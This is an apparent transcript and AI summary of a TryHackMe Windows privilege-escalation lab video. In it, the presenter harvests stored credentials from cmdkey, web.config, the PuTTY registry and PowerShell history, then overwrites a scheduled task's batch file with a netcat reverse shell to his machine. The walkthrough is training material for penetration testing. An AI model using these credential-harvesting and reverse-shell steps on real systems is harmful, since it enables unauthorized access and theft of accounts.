Try Hack Me : Windows Privilege Escalation Part 1.

stuffy24
25 Apr 202428:26

Summary

TLDRIn this video, the host delves into Windows privilege escalation, an essential skill in the junior penetration testing path. They discuss the common scenario of starting with unprivileged user access and leveraging it to gain administrative rights. Techniques include exploiting misconfigurations, service accounts, and scheduled tasks. The host demonstrates practical methods like using saved credentials and manipulating scheduled tasks for privilege escalation, providing a hands-on learning experience for viewers.

Takeaways

  • 💻 The video discusses Windows privilege escalation, a technique used in penetration testing to gain higher access rights on a system.
  • 🔄 The presenter acknowledges a delay in content release due to the vast amount of material to cover, emphasizing the importance of continuous learning.
  • 👤 Unprivileged user accounts are common initial access points in pen testing, reflecting real-world scenarios where most network users have limited privileges.
  • 🔑 Privilege escalation often involves exploiting misconfigurations, service accounts with elevated rights, or vulnerabilities in software or missing security patches.
  • 🔍 The video highlights the importance of looking for credentials in various places such as text files, service accounts, and scheduled tasks.
  • 📂 Different types of accounts like admin, standard users, and special built-in accounts each have varying levels of access and are potential targets for privilege escalation.
  • 🔗 The script explains how service accounts, used for running services, can be a gateway to higher privileges due to their often elevated status.
  • 🔎 Techniques for finding and exploiting saved credentials, such as those in PowerShell history or saved Windows credentials, are demonstrated.
  • 🛠 The video provides practical examples of how to use command-line tools to check for and manipulate scheduled tasks, which can be abused for privilege escalation.
  • 🔄 The concept of 'pivoting' through different accounts to gather various permissions and access is introduced as a strategic approach in pen testing.
  • 🔒 The script concludes with a discussion on maintaining elevated privileges post-escalation, suggesting methods like editing the registry or using persistent malware.

Q & A

  • What is the main focus of the video script?

    -The main focus of the video script is Windows privilege escalation, which is a continuation of the junior penetration testing path.

  • Why is it common to start with an unprivileged user account during a pen test?

    -It is common to start with an unprivileged user account during a pen test because statistically, the majority of users on a network are regular users with limited access, and this scenario represents a realistic starting point for testing.

  • What are some ways unprivileged users can gain elevated privileges?

    -Unprivileged users can gain elevated privileges by exploiting misconfigurations, finding credentials in text files, spreadsheets, or by taking advantage of excessive privileges assigned to their accounts, vulnerable software, or missing Windows security patches.

  • Why are service accounts significant when looking for privilege escalation opportunities?

    -Service accounts are significant because they often have elevated privileges for certain functions, and their passwords are less frequently rotated, making them potential targets for gaining higher access.

  • What is the difference between a local system account and an administrator user account in Windows?

    -A local system account has more privileges than an administrator user account. The system account can perform any action on the local machine, while an administrator user account has elevated privileges but is still limited in comparison.

  • How can saved Windows credentials be exploited for privilege escalation?

    -Saved Windows credentials can be exploited by using the 'run as' command to execute actions or access resources with the saved user's higher privileges, which can aid in privilege escalation.

  • What is an unattended Windows installation and why is it relevant to privilege escalation?

    -An unattended Windows installation is a method used in enterprise environments to deploy a single operating system image across multiple hosts. It is relevant to privilege escalation because admin credentials used in these installations might be stored in files like unattend.xml, which can be exploited if discovered.

  • How can the history file in PowerShell be used to find credentials?

    -The history file in PowerShell can be used to find credentials by reviewing the commands that have been previously executed, which might include commands that used or displayed credentials.

  • What is the significance of the 'web.config' file in IIS and how can it be exploited?

    -The 'web.config' file in IIS stores the configuration of the web server, including database connection strings and authentication mechanisms, which might contain service account credentials. Exploiting these credentials can lead to privilege escalation.

  • How can scheduled tasks be abused for privilege escalation?

    -Scheduled tasks can be abused for privilege escalation by modifying the task to execute a malicious script or command when the task runs, especially if the task is configured to run with higher privileges or as an administrator.

  • What is the purpose of the 'run as' command in Windows?

    -The 'run as' command in Windows allows a user to execute a program with the security privileges of a different user account, which can be used to perform actions that the current user does not have permission to execute.

Outlines

00:00

💻 Introduction to Windows Privilege Escalation

The video begins with an introduction to Windows privilege escalation, a topic that continues from the presenter's junior penetration testing path series. The presenter acknowledges the delay in content release due to the vast amount of material to cover. The focus is on escalating privileges on a Windows machine, starting from an unprivileged user account, which is common in enterprise environments during penetration testing. The video aims to cover up to task five or six due to the complexity of the content and the desire to ensure viewer comprehension. The importance of understanding privilege escalation is emphasized, as it is a realistic scenario where an attacker may start with limited access and aim to gain administrative control.

05:01

🔍 Exploiting Unprivileged User Access

This section delves into the concept of exploiting the limited access granted to unprivileged users. It discusses the common scenario where penetration testers begin with a regular user account and the necessity to escalate to administrative privileges. The video highlights the importance of service accounts, which often have elevated privileges and are frequently overlooked due to their nature of being used for specific services. The presenter also mentions the potential for privilege escalation through misconfigurations, excessive privileges assigned to accounts, and vulnerable software or missing security patches.

10:01

🔑 Harvesting Passwords and Exploiting Saved Credentials

The third paragraph discusses techniques for harvesting passwords and exploiting saved credentials on a Windows system. It covers the process of looking for credentials in text files, spreadsheets, and service accounts, which can be a pathway to higher privileges. The video also explains how to use the 'runas' command to execute tasks with different user privileges and how to list and potentially utilize saved credentials on the system. The presenter demonstrates how to use the 'cmdkey' command to list and potentially exploit saved credentials, which could lead to privilege escalation.

15:04

🕵️‍♂️ Investigating IIS Configurations and Leveraging Saved Credentials

This part of the video focuses on investigating Internet Information Services (IIS) configurations for stored passwords and authentication mechanisms. It explains how to find and exploit 'web.config' files that may contain sensitive information like database connection strings and service account credentials. The presenter also revisits the use of saved credentials with the 'runas' command to access files and resources that may require higher privileges. The video demonstrates how to pivot through different accounts to gather various permissions and access sensitive data.

20:04

🔄 Exploring Scheduled Tasks for Privilege Escalation

The fifth paragraph explores the use of scheduled tasks as a vector for privilege escalation. It explains how scheduled tasks can be executed with higher privileges and how an attacker might manipulate these tasks to run malicious code with elevated permissions. The video demonstrates how to query and potentially overwrite a scheduled task to include a reverse shell command, which, when executed, would provide the attacker with administrative access. The presenter also discusses the importance of checking the permissions of the current user to determine if they can modify or overwrite the task in question.

25:04

🏁 Maintaining Elevated Access with Registry Manipulation

The final paragraph covered in this session discusses methods for maintaining elevated access once it has been achieved. It touches on the use of registry manipulation to ensure persistent access even after the system is restarted. The video shows how to create a malicious MSI file using 'msfvenom' and how to set up a listener for the reverse shell. It also mentions the need for further steps to ensure the elevated access is not lost, such as editing the registry or setting up additional scheduled tasks. The presenter concludes by acknowledging the complexity of the topic and the need for adaptability when applying these techniques in different scenarios.

Mindmap

Keywords

💡Privilege Escalation

Privilege escalation in the context of the video refers to the act of exploiting vulnerabilities in a computer system to gain higher-level permissions. This is a critical concept in penetration testing, where the goal is to simulate an attack to identify security weaknesses. The video discusses how an unprivileged user might leverage certain access points to gain administrative rights, which is a common scenario in enterprise environments.

💡Penetration Testing

Penetration testing, often abbreviated as pen testing, is a simulated cyber attack on a system to evaluate its security. It's a crucial process in cybersecurity where ethical hackers try to 'break in' to a system to identify vulnerabilities. The video script discusses this in the context of escalating privileges on a Windows machine, which is a typical objective in such testing scenarios.

💡Unprivileged User

An unprivileged user is someone with limited access rights on a system, typically restricted from performing administrative tasks. The video emphasizes that in many pen testing scenarios, testers start with such user accounts, which is common in enterprise environments. The script explains how even with limited access, it's possible to escalate privileges, which is a key focus of the video.

💡Service Accounts

Service accounts are special user accounts configured to run specific services or applications on a system. They often have elevated privileges for certain functions. The video points out the importance of looking for service accounts during pen tests because they can be a weak point if not properly secured, potentially leading to privilege escalation.

💡Scheduled Tasks

Scheduled tasks are programs or scripts set to run automatically at specified times or after certain events. The video discusses how these can be a vector for privilege escalation if they're configured to run with higher privileges than necessary. Manipulating scheduled tasks to execute malicious code is a technique used to gain unauthorized access or elevate privileges.

💡Windows Credential

Windows credentials refer to the authentication information used to access a Windows system, including usernames and passwords. The video script describes how these credentials can be saved on a system and potentially exploited. It demonstrates techniques to retrieve saved credentials, which can be a pathway to escalate privileges.

💡Powershell

Powershell is a task automation and configuration management framework from Microsoft, widely used for system administration and pen testing. The video script mentions Powershell history files, which can contain command logs, including potentially sensitive information like passwords, which can be exploited during a pen test.

💡Mik Cats

Mik Cats appears to be a username mentioned in the script, possibly related to a saved credential or a user account with elevated privileges. The video shows how an attacker might use 'run as' commands to execute actions with the permissions of this user, illustrating a real-world application of privilege escalation.

💡Web.config

The web.config file is a configuration file for the IIS (Internet Information Services) web server, used to customize settings like authentication and database connections. The video script includes an example of extracting credentials from a web.config file, highlighting a common security oversight where sensitive information is stored in accessible files.

💡Putty

Putty is an SSH and telnet client, widely used for secure remote connections to other computers. The video script discusses how credentials saved in Putty sessions can be retrieved, which is a practical example of how saved credentials in various applications can be a security risk if not managed properly.

💡Registry

The Windows Registry is a database that stores configuration settings and options for the operating system and applications. The video script includes a technique where the registry is manipulated to maintain elevated privileges, demonstrating the power and risk associated with direct registry access.

Highlights

Introduction to Windows privilege escalation techniques for junior penetration testers.

Explanation of the common scenario where testers start with unprivileged user access in enterprise environments.

Discussion on the importance of understanding service accounts due to their elevated privileges.

Overview of different types of user accounts, including standard users and administrators.

Advantage of targeting service accounts for potential privilege escalation.

Techniques for finding credentials in text files and spreadsheets.

The significance of looking for misconfigurations in services and scheduled tasks.

How to exploit vulnerable software and missing Windows security patches for privilege escalation.

Tutorial on harvesting passwords from usual spots like unattended Windows installation files.

Method to retrieve credentials from PowerShell history files.

Step-by-step guide on accessing saved Windows credentials using command key list.

Exploration of extracting passwords from IIS configurations stored in web.config files.

Technique to retrieve credentials from software like PuTTY by querying the Windows registry.

Demonstration of using saved credentials to access restricted files and escalate privileges.

How to modify scheduled tasks to run malicious code at system startup for persistent access.

Practical example of editing a batch file associated with a scheduled task to include a reverse shell.

Final step of maintaining elevated privileges by editing the Windows registry.

Conclusion and预告 of the continuation in the next video, covering tasks five to eight.

Transcripts

play00:01

[Music]

play00:08

[Applause]

play00:14

yo what's going on guys welcome back

play00:15

today we are doing Windows privilege

play00:17

escalation this is um a continu

play00:19

continuation excuse me of the junior pen

play00:21

testing path and we're going to keep

play00:23

finishing it up I know it's been a while

play00:25

since I posted on this but there's just

play00:26

so much content out there that I'm

play00:28

trying to get to you guys as fast as I

play00:29

can but we're going to go ahead and dive

play00:31

into it so this is just Windows

play00:33

privilege escalation so once we take

play00:34

over Windows machine so you can see we

play00:36

have this Windows machine here it's very

play00:37

slow and that's fine so it might take us

play00:39

a little bit and we're probably not

play00:41

going to get through all of it today

play00:42

because I want to make sure you guys

play00:43

understand so we'll probably get to task

play00:45

five or six and then we'll stop there so

play00:48

first things first during a pen test you

play00:50

will often have access to Windows host

play00:52

with an unprivileged user this is true

play00:54

so it's almost always going to be when

play00:56

you um are on Enterprise environment

play00:58

during pen testing you're probably going

play00:59

to a regular user account first that's

play01:02

just the way it is because I mean if you

play01:04

think about statistically speaking the

play01:07

majority of users on a network are

play01:09

regular unprivileged users so

play01:12

statistically you're most likely to get

play01:13

them so just think of it that way yes by

play01:15

all means if you can get an admin

play01:17

account right off the bat go for it

play01:19

don't waste your time with all this but

play01:22

that's not realistic to do in every s

play01:23

situation you need to know how to do

play01:25

this so unprivileged users hold limited

play01:28

access including files folders and no

play01:30

means perform admin tasks true but we

play01:33

can take advantage of what they do have

play01:35

access to to get that admin permissions

play01:38

so let's go a and dive into it if you

play01:39

guys like this content if you guys are

play01:41

enjoying the video hit that like button

play01:42

hit the sub button helps me tremendously

play01:45

grow and I appreciate everything you

play01:46

guys do for me so here we go so simply

play01:49

put privilege escalation I'm not going

play01:51

to read the definition but consists of

play01:52

using given access to a host with user a

play01:55

so basically what they're saying is I

play01:56

have access to user a and now I can gain

play01:59

access ACC to user B which has higher

play02:01

permissions right um so that would be an

play02:04

admin in this case or that's what we're

play02:06

the goal is right the all long-term goal

play02:09

or the overall goal is a domain admin um

play02:12

but we don't need to dive too deep into

play02:14

that here this is just privilege

play02:16

escalation so gaining access to differ

play02:19

account different accounts can be as

play02:21

simple as finding credentials and text

play02:22

files spreadsheets this is true the one

play02:24

thing I don't think um they cover very

play02:27

much they don't cover uh service

play02:30

accounts and service accounts usually

play02:32

have elevated privileges at least for

play02:34

certain functions and so I wish they

play02:37

covered it more but those are something

play02:38

you should look for when you're doing a

play02:39

pen test always always always is service

play02:41

accounts because they are very hard to

play02:44

rotate passwords for one for two they

play02:47

also um typically have like I said have

play02:51

elevated privileges at least for that

play02:52

function that's it's doing and then for

play02:54

three it's less likely that people are

play02:57

going to be watch like weirded out by

play02:59

that ser service account logging into

play03:00

other machines because it is a service

play03:02

account if you're not familiar with what

play03:03

a service account is um basically it's

play03:06

an account that you use to run a service

play03:09

on a machine so if I needed to connect

play03:11

this machine over to this machine and I

play03:13

need to do it regularly using an

play03:14

application or something I will use a

play03:16

service account so that way it's not

play03:18

logging in using my account it's not

play03:19

logging in using your account it's using

play03:21

an account specific to that service so

play03:25

gaining access to different accounts can

play03:26

be as simple as finding them in a text

play03:27

file which is true it's actually not

play03:29

uncom common um misconfigurations on

play03:31

services or scheduled tasks that's how

play03:33

these are the ones we're going to um

play03:35

abuse excessive privileges assigned to

play03:37

the account vulnerable software which is

play03:39

always known missing Windows security

play03:41

patches also so before jumping into the

play03:44

techniques let's look at the different

play03:45

types of accounts so you have your

play03:46

admins this is your regular admin right

play03:48

like this has elevated privileges they

play03:50

can change system configuration

play03:52

parameters and access files so yeah we

play03:53

know what an admin is I don't need to

play03:55

explain to you your standard users these

play03:56

are people that can log into the machine

play03:58

and do standard activity they can look

play04:00

at things they can do stuff but they

play04:02

can't do any admin tasks okay any user

play04:06

with the administrator privileges will

play04:07

be part of the admin group on the other

play04:08

hand s users are part of the user group

play04:11

keep in mind what they're talking about

play04:12

here is not is not domain joined meaning

play04:17

these are accounts that are just default

play04:19

on Windows when you get into an

play04:22

Enterprise level pent testing situation

play04:25

what you're looking at is there will be

play04:26

multiple groups it won't just be

play04:28

standard users admins there be

play04:29

everything in between there'll be people

play04:31

with a lot of permissions but they don't

play04:34

have admin right those are still people

play04:37

that you want to get those are still

play04:38

targets because they might have access

play04:40

to a lot more stuff but they're just not

play04:43

considered a full admin so those are

play04:45

keep that in mind that when you need to

play04:47

learn active directory and users of

play04:49

groups um organizational units and

play04:51

everything like that because that's

play04:53

where you start to see the elevated

play04:54

privileges where you may not get a full

play04:57

domain admin but you're still getting

play04:58

elevated privileges

play05:00

now any user with administrative

play05:02

privileges will be the administrator

play05:03

group right so these are local users

play05:05

that's what we're talking about here

play05:06

local we're not talking about on a

play05:07

domain in addition to that you will

play05:10

usually hear about some special built-in

play05:11

accounts used by the operating system

play05:13

okay so they are talking about excuse me

play05:14

here they are talking about domain

play05:16

joined they just are only breaking them

play05:18

down as two types which isn't the case

play05:21

um yeah it's not the case because there

play05:23

will be everything in between that there

play05:25

will be standard users that are maybe

play05:27

help desk that have elevated privileg

play05:29

they can change things in active

play05:31

directory that doesn't mean they're a

play05:32

full domain admin right so just keep

play05:35

that in mind um the system the local

play05:37

system accounts these are accounts that

play05:39

are just local to the machine meaning it

play05:41

can only log into that machine it can't

play05:42

log into all the machines on the domain

play05:45

but it has full access um so the system

play05:48

itself will you'll see it all the time

play05:50

in the logs the system itself will run

play05:53

when it's doing Windows tasks right when

play05:55

when your system comes by default it's

play05:58

going to have these the system account

play06:00

and it's running all the time right

play06:01

that's that's just normal activity that

play06:04

is it's going to be using the system

play06:06

itself to run tasks and that's the

play06:08

account it's using the local service

play06:10

default account to run Windows services

play06:12

with minimum privileges so this is if

play06:14

you need to run it without admin

play06:15

privileges if you have a task that

play06:17

Windows needs to run but not run as

play06:19

admin if you've ever ran something and

play06:20

it says like uh don't doesn't have

play06:24

permissions or something and then you

play06:25

run it as admin and it works that's the

play06:27

difference um network service default

play06:30

account used for um to Windows services

play06:32

with minimum privileges it will use

play06:33

computer credentials there you go so it

play06:36

will use the basically the account will

play06:38

use the computer's credentials to

play06:40

authenticate through a network so pretty

play06:43

self-explanatory now users that can

play06:44

change system configurations that's

play06:46

admin the system account oh sorry the

play06:49

system account has more privileges than

play06:51

administrator user a or nay I don't

play06:54

think a is maybe that's just a UK thing

play06:57

because I think tryck is from UK but

play07:00

um I or nay or but anyway um so a so yes

play07:05

they it does and the reason is it's the

play07:07

system it can do whatever it wants right

play07:10

it is the system so that's why when you

play07:12

try to take over a machine typically

play07:15

with like a interpreter shell or

play07:16

something you want to get system access

play07:18

even if you have an admin account system

play07:20

access is always has more okay so now

play07:23

harvesting passwords from usual spots so

play07:25

this is where you're going to whoops

play07:26

excuse me this is where you're going to

play07:28

look for and this is the the machine

play07:30

that started right here so okay

play07:32

unattended Windows installation when

play07:34

installing and this is this actually is

play07:36

very common but you guys have to if you

play07:38

work never worked in um an Enterprise

play07:39

environment or any um Network

play07:42

environment like this then this might be

play07:44

foreign to you when installing Windows

play07:46

on a large number of hosts admins use

play07:48

Windows deployment Services okay so they

play07:50

put an image out there right and that

play07:52

image sits out there and when it does

play07:55

they basically say hey image this

play07:58

machine or image all these machines with

play08:00

a new image or whatever and it has that

play08:02

image sitting out there where it can

play08:03

grab it right that's the whole point so

play08:06

which allows for single operating system

play08:08

image to be deployed through S host so

play08:10

you can store this image it knows where

play08:12

to reach them everybody can grab them

play08:14

and it will start installing the image

play08:16

if you don't know when I say image

play08:17

because I know that some of you may it

play08:19

may be new to you that means the

play08:21

security posture the way Windows is set

play08:23

up if you set up windows in a specific

play08:26

way meaning you download it you have all

play08:29

your applications for your company you

play08:30

have all of your um different local

play08:33

admin accounts that you need you have

play08:35

your break glass accounts those types of

play08:37

things you have everything set up the

play08:38

way you want you then take a snapshot an

play08:41

image of that and you say this is how I

play08:43

want every machine set up and then you

play08:45

can push that to everybody that's what

play08:46

they're doing here now these kinds of

play08:48

installations are referring to un

play08:49

unattended installations meaning

play08:51

nobody's sitting there doing anything

play08:52

the user doesn't have to log in you can

play08:54

just push this to people right or you

play08:57

can have it set up and then when you

play08:58

plug a new computer in and and join in

play08:59

the domain it will pull that image okay

play09:03

such installations require the use of an

play09:05

admin account which is true which might

play09:07

end up being stored in the machine in

play09:08

the following locations so you can see

play09:10

unattended XML Panther unattended system

play09:13

32 CIS prep D the reason these are

play09:15

stored there is because it has to use

play09:17

admin credentials and this is unattended

play09:19

meaning I don't want to have to type in

play09:20

my credentials every time for every

play09:23

person so I store them so it can go grab

play09:26

them later right so as part of these

play09:29

files you might encounter these so you

play09:31

can actually go look for these if you

play09:33

have access to that machine pretty

play09:35

interesting it's a pretty good way to

play09:36

look for it especially if you know the

play09:38

machine has been CIS prepped that's what

play09:39

it's called CIS prep is when you're

play09:41

Imaging the

play09:43

machine when I say that it means you're

play09:45

grabbing that snapshot okay whenever a

play09:47

user runs a command using Powershell it

play09:50

gets stored into a file that keeps

play09:51

memory this is a history file right bash

play09:53

has the same thing you can type history

play09:55

on bash and you can see they're going to

play09:57

go ahead and do this the reason they do

play09:59

this that you look for the history is

play10:00

because there's a lot of times when

play10:01

running commands that you have to put

play10:03

your credentials in to run that command

play10:05

on another machine or something and if

play10:07

you don't hide it meaning you don't have

play10:09

it as a secure credential or something

play10:11

like that it will just show it it'll

play10:14

display

play10:15

it um okay saved window Windows

play10:18

credentials Keys Windows allows users to

play10:21

use other users credentials which we

play10:23

know this functional also gives option

play10:24

to save these credentials on the system

play10:26

so command key list will actually do

play10:28

that so what that means is you can save

play10:30

credentials so that you can run like

play10:33

let's say you had a service account and

play10:34

you need to run a task as that service

play10:36

you can save those credentials well here

play10:38

you can list them while you can't

play10:39

actually see the passwords if you notice

play10:41

the credentials worth trying if you

play10:42

notice any credentials worth trying

play10:44

excuse me um you can use them with run

play10:47

as command and save credit options so

play10:49

what that means is here you won't see

play10:52

the credential like you you'll see the

play10:53

username but you won't see the password

play10:56

but if you know Windows you can run as

play11:00

what that means is I can run the command

play11:02

as the user that they said I have in

play11:05

question so I'll show you what I

play11:10

mean so I don't I haven't um done this

play11:13

box in a long time so I don't remember

play11:15

but if they actually have one here but

play11:17

we'll

play11:19

try we'll try and make this a little bit

play11:21

bigger for you

play11:25

guys that way you can see it we'll make

play11:28

it 36 see how if that's too big okay so

play11:33

what we're going to do is we're going to

play11:34

type

play11:36

CMD key list and see if there is a list

play11:40

of keys currently stored

play11:42

credentials it looks like we have user W

play11:45

privilege escalation mic. cats so what

play11:48

we could do is we could say run

play11:51

as save

play11:53

cred right and then we could say

play11:57

user and that user would be this W priv

play12:02

escalation

play12:04

one and we'd say and you may not have to

play12:07

put the domain there so mike. cats and

play12:10

it should CM so we're going to run

play12:13

cmd.exe

play12:16

and look at that so we actually ran a

play12:21

new command shell and you can see up

play12:24

here running as Mike cats so I'm

play12:26

actually able to run now shell as this

play12:30

new user because they saved the

play12:32

credential there so that's actually

play12:34

pretty interesting so that's one way to

play12:37

look for for credentials as well IAS

play12:39

configurations if you don't know what

play12:40

IAS is if you've heard of Apache

play12:42

anything like that IAS is the um way

play12:45

that Microsoft runs their web servers so

play12:46

it's a web server is all it is but you

play12:48

can see internet Information Services is

play12:50

the default web server the configuration

play12:53

of the is is stored on a file called

play12:55

web.config so if you can find that

play12:57

web.config it can store passwords for

play13:00

that database and configured

play13:02

authentication mechanisms meaning there

play13:04

might be service accounts in there so

play13:06

you can see here here's a a quick way to

play13:09

find database connection strings on um

play13:12

the file so one thing to keep in mind

play13:14

that I see all the time with people that

play13:15

do ctfs is they run into this situation

play13:18

where they they think that I have to go

play13:20

straight here to admin here to admin

play13:23

what you can do and what you should be

play13:25

doing is looking at doing things like

play13:27

running this command for instance

play13:29

starting up a command. exe right using

play13:31

mik cats well mik cats might have more

play13:34

permissions than we do we might not have

play13:36

had permissions to access the IAS file

play13:38

but now we might have permissions to

play13:40

access that IAS file so now we can do

play13:42

this and I don't know if this is

play13:44

actually if they have it on this m

play13:46

machine or not

play13:49

but why is this not

play13:53

uh okay so it didn't copy and paste but

play13:56

so then you would run the type Command

play13:58

right and we'd say type

play14:01

c

play14:03

Windows

play14:05

microsoft.net

play14:12

framework 64 let's see yep it does

play14:15

actually have it so version

play14:18

4.

play14:20

3319

play14:22

config web and if a little trick if you

play14:26

don't know if something exists just try

play14:27

and tab it and if it finishes it you

play14:29

know you're good and then you just say

play14:31

find string and connection

play14:34

string and we hit enter do the same

play14:38

thing and I think you have to capitalize

play14:40

the S and see if it finds

play14:43

it okay and there it found it right so

play14:46

you can see here's the user ID and

play14:47

here's the password so we actually were

play14:49

able to pull the is configuration but

play14:52

the key here is you may have to Pivot

play14:55

through a lot of accounts to get

play14:57

different permissions right to gather

play14:58

different things so if there's an is

play15:00

server maybe I can't grab the is logs

play15:03

maybe I don't have permission to access

play15:05

those but we then use the save

play15:07

credentials M cats we then can access

play15:09

the I credentials and things like that

play15:11

so make sure you're pivoting around and

play15:13

messing with it don't just think you

play15:15

have to go from here to here right it's

play15:16

not a straight jump all the time okay so

play15:20

now you can retrieve credentials from

play15:21

software from putty so putty is an SSH

play15:24

client and you can see here what they're

play15:26

doing is they're um quering the registry

play15:28

and they're asking in for the software

play15:30

putty and they're looking at the

play15:32

sessions so what they're doing is and

play15:35

we'll just do it again with Mike Catz

play15:37

actually we'll do it with the regular so

play15:38

you can see it because I made it

play15:39

bigger they're just saying okay registry

play15:42

we want to query the registry and we

play15:43

want to say h key if you didn't know the

play15:46

registry is is

play15:48

basically every file in the in the M um

play15:51

system it's kind of like how L Linux

play15:54

excuse me um how Linux everything's a

play15:57

file when Windows is the same way just

play16:00

it's a registry key and it's got a

play16:03

whoops it's got a binary one or zero

play16:05

true or

play16:09

false okay putty

play16:12

sessions F and we'll say proxy so we're

play16:16

looking for the proxy s all right we hit

play16:19

enter and you can see we're getting the

play16:21

S the um putty sessions and look one of

play16:24

them's called my SSH server when we do

play16:27

that look at the name Tom Smith Cool

play16:30

Pass 2021 so right away we've gotten

play16:34

Mike cat's account we've got this one

play16:37

here we ended up getting the um the one

play16:40

for IIs as well so we've gotten a bunch

play16:42

of usernames just from kind of changing

play16:45

our tactics around right now a password

play16:48

for the julia. Jones user has been left

play16:51

on the Powershell history what is the

play16:52

password so let's go back and let's look

play16:54

at what the here we go console history

play16:56

so we need to go and get the history

play16:59

so we say Okay type and type just opens

play17:02

a file so if you're wondering we say

play17:04

type and we say user

play17:09

profile and we're going to say app

play17:13

data app

play17:16

data

play17:18

roaming

play17:24

Microsoft uh let's see did I mess

play17:26

something up because it's not tabing but

play17:28

that's all right user profile no should

play17:29

be good Microsoft

play17:33

Windows

play17:35

Powershell PS

play17:38

readline console host history. txt

play17:44

change that see even though actually

play17:47

Windows is not case sensitive and you

play17:49

can see here's the last things ran on

play17:52

Powershell who but we ran LS Who Am I

play17:55

who Am I priv who am I groups and you

play17:58

can see they added a user on the domain

play18:01

controller named Julia Jones password

play18:04

zuper cret pass okay so we say Z CR pass

play18:09

boom we got passed it okay so now we say

play18:13

a web server is running on the remote

play18:15

host find any interesting passwords on

play18:17

the web config file well we already did

play18:19

that we did that in Mike cat's

play18:21

um one so that's why I'm not going to do

play18:24

it again but we did that on Mike cats

play18:26

already so we got that password and then

play18:30

there is a saved password on your

play18:31

windows credential on your windows

play18:34

credentials excuse me using command key

play18:36

and run as spawn a shell for my cats and

play18:38

retrieve okay so we already did

play18:41

that so now we just got to retrieve the

play18:44

flag from his desktop because we're not

play18:46

able to access that without it so now we

play18:48

say

play18:50

CD and we'll go

play18:55

C

play18:57

users might

play19:00

cats

play19:02

desktop and then we say dur because

play19:04

there's no LS which is kind of funny

play19:07

that there was no LS it says it's not um

play19:10

recognized but then the history shows

play19:13

that there was LS ran that's kind of

play19:15

actually funny I just thought about that

play19:17

and then we say type flag.txt

play19:21

then THM what is my password there it is

play19:25

you can see the first one is Powershell

play19:27

is LS on the history which is kind of

play19:29

funny like I said because LS is not part

play19:32

of it supposedly

play19:35

um but that's because this version just

play19:38

doesn't have it okay um but I guess okay

play19:40

I never mind I correct myself because

play19:43

this is the Powershell history I'm using

play19:45

command prompt that's on me I wasn't

play19:47

paying attention all right so now let's

play19:50

retrieve the password stored in the

play19:52

saved putty session well we just did

play19:53

that too and that's right here Cool Pass

play19:57

2021 all all right so let's keep going

play20:01

so now we've got other quick wins so now

play20:04

schedule tasks so this is actually

play20:05

something that you should be doing on

play20:07

Windows Linux everything looking at

play20:08

scheduled tasks so we're going to say

play20:10

scheduled tasks query and what these are

play20:13

is they are just tasks that they someone

play20:15

scheduled and said hey I want these to

play20:19

basically um run at whatever time I tell

play20:23

it or however often I tell it or

play20:24

whatever right so we want to say okay we

play20:28

need to

play20:29

get a list of the scheduled tasks right

play20:31

but we don't want to search through all

play20:32

of them so we're looking and it looks

play20:35

like it's at system startup for one but

play20:38

you can see we already knew the name the

play20:39

name of it was vul task so that's why we

play20:41

put Vol task in there we searched for

play20:43

vul task so it's kind of cheating

play20:45

because we knew the name of it and you

play20:46

would have to look normally but we're

play20:48

looking and we're trying to see what

play20:50

kind of users can we get right scheduled

play20:52

task can be listed from the command line

play20:54

da da da da okay you'll get lots of

play20:56

information about the task for us the

play20:58

Tas task to run parameters which

play20:59

indicates what gets executed by the

play21:01

scheduled task so this is what's

play21:02

important you see how it says C task

play21:05

schedu task. bat it's a batch file if we

play21:08

can manipulate that file if we can edit

play21:10

it then when the schedule task runs it

play21:13

runs our file whatever we want right so

play21:15

that's one way to elevate privileges

play21:17

right there and you can see it starts at

play21:19

at system startup so if we could if we

play21:22

could get this to run right we could or

play21:24

if we could edit that we could edit it

play21:26

and you notice it runs as admin we can

play21:28

edit that to instead of do whatever it

play21:30

does now do a reverse shell to us

play21:32

restart the system and it would

play21:34

automatically connect to us every time

play21:36

it restarted and nobody would know right

play21:39

now there might be some detection that

play21:41

pops up but still okay so now you can

play21:44

see if our current user can modify or

play21:46

overwrite the task yep and you can see

play21:48

here we have to check permissions so we

play21:50

use and you can see we used um IAL ials

play21:55

which is I believe part of this is

play21:57

internal Street I could be wrong on that

play21:59

it might just be default um so now you

play22:02

say tasks and we already know the the

play22:04

path right because it just gave it to us

play22:06

so it's scheduled task.

play22:09

bat okay and you can see n Authority

play22:14

system okay so right here built-in users

play22:18

has I and F and you can see here F has

play22:22

full access so that means we have full

play22:24

access to it so this means we can modify

play22:26

it so we could easily say we want it to

play22:29

be a net cat shell and then we want it

play22:31

to and then we could just start the

play22:33

system and then boom because if you

play22:36

notice it runs as as a administrator we

play22:39

now have ad administrator access so

play22:41

that's how you do

play22:42

that and you can see here all you have

play22:45

to do is say Echo C tools because

play22:47

they've already added netcat on here and

play22:49

command. exe and they're saying run the

play22:53

scheduled task for us um or they're

play22:55

saying I'm sorry no they're not they're

play22:57

saying Echo this as the actual script

play23:00

and then let's see what the task says

play23:03

does it need to do it uh yeah I think we

play23:05

do need to actually do it so let's go

play23:07

ahead and do this one so we're just

play23:09

going to say same exact thing Echo

play23:11

because that's just GNA we're going to

play23:13

edit it right we're going to say C tools

play23:16

and if you don't know um Windows is not

play23:18

case sensitive so don't stress about the

play23:20

case sensitivity exe Tech cmd.exe so all

play23:24

we're doing is saying netcat run and

play23:26

execute command. exe and then our IP

play23:28

address is Right

play23:35

Here let open this up get the IP 1010

play23:38

4584 1010

play23:41

4584 1010

play23:44

4584 10 10

play23:48

4584 and then we'll

play23:51

say where was it there we go we're going

play23:53

to use same port 4444 just cuz we know

play23:55

it's not in use but normally I wouldn't

play23:57

use that cuz that's the default

play23:58

interpreter port and that will be

play24:00

blocked by most

play24:02

companies uh tasks scheduled task

play24:09

dobat task dobat okay so we should be

play24:13

able to here we're actually completely

play24:15

overwriting

play24:16

it okay so now we have to go back here

play24:19

we have to start up a netcat listener

play24:22

so we'll say

play24:24

netcat lvmp 4444

play24:28

okay so now that's listening now we just

play24:30

go back here and we have to run the new

play24:33

scheduled task that we just created or

play24:35

it's we didn't create a new one excuse

play24:36

me the one we edited so schedule tasks

play24:40

run and then it's called vom task so we

play24:44

run it attempted to run says successful

play24:47

but it says

play24:49

attempted okay and look at that we have

play24:52

a shell and we have a full elevated

play24:55

permission so who am I

play24:59

why does that look

play25:02

weird that looks weird I don't know why

play25:04

it looked weird the first time so you

play25:05

can see here we're task user one okay

play25:09

interesting the reason that's

play25:11

interesting is because I actually

play25:13

thought we would get

play25:16

um full admin permissions but maybe I

play25:19

looked at it wrong um okay so task user

play25:23

one was expected I wonder if I looked at

play25:25

it

play25:26

